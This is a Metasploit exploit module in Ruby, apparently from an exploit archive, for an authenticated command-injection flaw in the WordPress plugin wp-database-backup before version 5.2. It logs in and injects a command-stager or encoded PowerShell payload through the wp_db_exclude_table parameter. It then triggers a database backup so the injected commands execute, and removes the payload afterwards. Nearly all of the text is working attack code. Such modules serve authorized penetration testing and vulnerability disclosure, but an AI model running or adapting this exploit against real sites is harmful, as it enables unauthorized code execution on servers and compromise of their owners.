ExploitFixes
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit) 2019-07-29 12:17:47

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(update_info(info,
'Name' =&gt; 'WP Database Backup RCE',
'Description' =&gt; %q(
There exists a command injection vulnerability in the Wordpress plugin
`wp-database-backup` for versions &lt; 5.2.

For the backup functionality, the plugin generates a `mysqldump` command
to execute. The user can choose specific tables to exclude from the backup
by setting the `wp_db_exclude_table` parameter in a POST request to the
`wp-database-backup` page. The names of the excluded tables are included in
the `mysqldump` command unsanitized. Arbitrary commands injected through the
`wp_db_exclude_table` parameter are executed each time the functionality
for creating a new database backup are run.

Authentication is required to successfully exploit this vulnerability.
),
'License' =&gt; MSF_LICENSE,
'Author' =&gt;
[
'Mikey Veenstra / Wordfence', # Vulnerability Discovery
'Shelby Pace' # Metasploit module
],
'References' =&gt;
[
[ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
],
'Platform' =&gt; [ 'win', 'linux' ],
'Arch' =&gt; [ ARCH_X86, ARCH_X64 ],
'Targets' =&gt;
[
[
'Windows',
{
'Platform' =&gt; 'win',
'Arch' =&gt; [ ARCH_X86, ARCH_X64 ]
}
],
[
'Linux',
{
'Platform' =&gt; 'linux',
'Arch' =&gt; [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' =&gt; 'printf'
}
]
],
'DisclosureDate' =&gt; '2019-04-24',
'DefaultTarget' =&gt; 0
))

register_options(
[
OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
])
end

def check
return CheckCode::Unknown unless wordpress_and_online?

changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
res = send_request_cgi(
'method' =&gt; 'GET',
'uri' =&gt; changelog_uri
)

if res &amp;&amp; res.code == 200
version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
return CheckCode::Detected unless version &amp;&amp; version.length &gt; 1

vprint_status(&quot;Version of wp-database-backup detected: #{version[1]}&quot;)
return CheckCode::Appears if Gem::Version.new(version[1]) &lt; Gem::Version.new('5.2')
end
CheckCode::Safe
end

def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie

res = create_exclude_table(cookie)
nonce = get_nonce(res)
create_backup(cookie, nonce)

clear_exclude_table(cookie)
end

def create_exclude_table(cookie)
@exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
res = send_request_cgi(
'method' =&gt; 'GET',
'uri' =&gt; @exclude_uri,
'cookie' =&gt; cookie,
'vars_get' =&gt; { 'page' =&gt; 'wp-database-backup' }
)

fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res &amp;&amp; res.code == 200
print_good('Reached the wp-database-backup settings page')
if datastore['TARGET'] == 1
comm_payload = generate_cmdstager(concat_operator: ' &amp;&amp; ', temp: './')
comm_payload = comm_payload.join('&amp;&amp;')
comm_payload = comm_payload.gsub('\'', '')
comm_payload = &quot;; #{comm_payload} ;&quot;
else
comm_payload = &quot; &amp; #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} &amp; ::&quot;
end

table_res = send_request_cgi(
'method' =&gt; 'POST',
'uri' =&gt; @exclude_uri,
'cookie' =&gt; cookie,
'vars_post' =&gt;
{
'wpsetting' =&gt; 'Save',
'wp_db_exclude_table[wp_comment]' =&gt; comm_payload
}
)

fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res &amp;&amp; table_res.code
print_good('Successfully added payload as an excluded table')

res.get_html_document
end

def get_nonce(response)
fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response

div_res = response.at('p[@class=&quot;submit&quot;]')
fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res

wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce &amp;&amp; wpnonce.length &gt; 1

wpnonce[1]
end

def create_backup(cookie, nonce)
first_res = send_request_cgi(
'method' =&gt; 'GET',
'uri' =&gt; @exclude_uri,
'cookie' =&gt; cookie,
'vars_get' =&gt;
{
'page' =&gt; 'wp-database-backup',
'_wpnonce' =&gt; nonce,
'action' =&gt; 'createdbbackup'
}
)

res = send_request_cgi(
'method' =&gt; 'GET',
'uri' =&gt; @exclude_uri,
'cookie' =&gt; cookie,
'vars_get' =&gt;
{
'page' =&gt; 'wp-database-backup',
'notification' =&gt; 'create'
}
)

fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?('Database Backup Created Successfully')
print_good('Successfully created a backup of the database')
end

def clear_exclude_table(cookie)
res = send_request_cgi(
'method' =&gt; 'POST',
'uri' =&gt; @exclude_uri,
'cookie' =&gt; cookie,
'vars_post' =&gt;
{
'wpsetting' =&gt; 'Save',
'wp_db_exclude_table[wp_comment]' =&gt; 'wp_comment'
}
)

fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res &amp;&amp; res.code == 200
print_good('Successfully deleted the payload from the excluded tables list')
end
end